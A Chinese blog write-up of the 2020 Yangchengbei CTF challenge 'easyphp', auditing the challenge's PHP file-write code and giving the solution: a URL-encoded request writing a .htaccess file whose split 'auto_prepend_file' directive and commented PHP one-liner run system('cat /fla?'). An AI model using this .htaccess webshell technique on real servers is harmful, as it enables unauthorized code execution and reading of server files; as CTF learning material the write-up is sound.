当前位置:网站首页>[羊城杯2020]easyphp
[羊城杯2020]easyphp
2022-07-02 22:09:00 【-栀蓝-】
<?php
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nHello, world");
?>代码审计
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
如果不是index.php页面,则会删除页面数据if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
} 如果没有传入content或filename参数则直接die
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
对传入参数content进行过滤,不能由on html type flag upload file$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
对传入参数filename进行过滤,filename只能由小写字母和.构成,否则die$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
跟最开始的过滤一样,如果不是index.php则会删除数据
file_put_contents($filename, $content . "\nHello, world");
将我们传入的内容content写入filename里面
但注意这里拼接了一个Hello world,会造成我们程序报错最初的想法就是filename为a.php,content传入一句话木马,结果实践:

发现当作html直接输出在页面,并没有解析,或许后台设置了只解析了index.php,毕竟代码对index.php的提醒挺多的,于是在想能不能在index.php之前解析我们的htaccess,将配置项改一下即可,于是学习大佬得知还真是要利用htaccess来进行获取flag
php_value auto_prepend_fil\
e .htaccess
#<?php system('cat /fla?');?>\htaccess中\的作用是拼接上下文的,相当于php_value auto_prepend_file.htaccess
因为为了绕过过滤因此从file中间分开

其中利用注释符#将一句话木马写入,是因为在htaccess中是注释符的作用,但是在php执行的时候,一句话木马就会被执行
第三行的\是为了和代码最后面拼接的Hello,world也当作注释,否则hello world到第四行会执行报错
?filename=.htaccess&content=php_value%20auto_prepend_fil%5C%0Ae%20.htaccess%0A%23%3C%3Fphp%20system('cat%20/fla?')%3B%3F%3E%5C

边栏推荐
- 杰理之快速触摸不响应问题【篇】
- Niuke: Dragon and dungeon games
- [leetcode] there are duplicate elements [217]
- Phpcms realizes the direct Alipay payment function of orders
- P7072 [CSP-J2020] 直播获奖
- UE4 游戏架构 学习笔记
- [LeetCode] 反转字符串【344】
- UE4 UI自适应屏幕
- 《乔布斯传》英文原著重点词汇笔记(九)【 chapter seven】
- The threshold value of fusing proportion cannot be changed with sentinel, and setting the slow call proportion has no effect
猜你喜欢

Build your own website (22)

Jatpack------LiveData

E-commerce system microservice architecture

Objects and object variables

【ODX Studio编辑PDX】-0.1-如何快速查看各Variant变体间的支持的诊断信息差异(服务,Sub-Function...)

Oracle PL / SQL programming

Share 10 JS closure interview questions (diagrams), come in and see how many you can answer correctly

数组进阶提高
![[chestnut sugar GIS] ArcMap - how to batch modify the font, color, size, etc. of annotation elements](/img/b1/1fae909fb6a9231096a93d741d6426.png)
[chestnut sugar GIS] ArcMap - how to batch modify the font, color, size, etc. of annotation elements

地方经销商玩转社区团购模式,百万运营分享
随机推荐
杰理之样机在多次触摸后会触发关机【篇】
Simpleitk use - 3 Common operations
电商系统微服务架构
大话云原生之负载均衡篇-小饭馆客流量变大了
Golang面试整理 三 简历如何书写
Jatpack------LiveData
性能优化----严苛模式
Share 10 JS closure interview questions (diagrams), come in and see how many you can answer correctly
《乔布斯传》英文原著重点词汇笔记(九)【 chapter seven】
建立自己的网站(22)
boot actuator - prometheus使用
UE4 UI adaptive screen
任务和特权级保护
[LeetCode] 存在重复元素【217】
The threshold value of fusing proportion cannot be changed with sentinel, and setting the slow call proportion has no effect
【板栗糖GIS】global mapper 如何通过dsm批量制作贴地等高线
#include errors detected. Please update your includePath.
stop slave卡住--事务的事件没有复制完整
傑理之修改不需要長按開機功能【篇】
Rails 3 activerecord: sort by association count - rails 3 activerecord: order by count on Association